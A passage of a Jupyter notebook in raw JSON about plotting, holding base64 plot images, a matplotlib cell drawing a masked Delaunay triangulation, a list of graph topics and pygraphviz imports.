pEsbPjf/+L1k0/q\n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\n8D92s+/6AfOnwQAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10d5a8410>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "import matplotlib.pyplot as plt\n", "import matplotlib.tri as tri\n", "import numpy as np\n", "import math\n", "\n", "min_radius = 0.1\n", "N = 100\n", "\n", "x = np.random.rand(N)\n", "y = np.random.rand(N)\n", "\n", "# Create the Triangulation; no triangles so Delaunay triangulation created.\n", "triang = tri.Triangulation(x, y)\n", "\n", "# Mask off unwanted triangles.\n", "xmid = x[triang.triangles].mean(axis=1)\n", "ymid = y[triang.triangles].mean(axis=1)\n", "mask = np.where(xmid*xmid + ymid*ymid < min_radius*min_radius, 1, 0)\n", "triang.set_mask(mask)\n", "\n", "# Plot the triangulation.\n", "plt.figure(figsize=(5,5))\n", "plt.gca().set_aspect('equal')\n", "plt.triplot(triang, 'bo-')\n", "plt.title('triplot of Delaunay triangulation')\n", "plt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "* Traveling Salesman\n", "* Complete Binary tree\n", "* Spanning Tree\n", "* Bipartite Graph\n", "* Shortest Path Tree" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import pygraphviz as pgv\n", "from IPython.display import Image\n", "from IPython.display import display" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J']\n" ] }, { "data": { "image/png": "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\nnnv8NNNM43/zm99kNALv3377bU9AUBS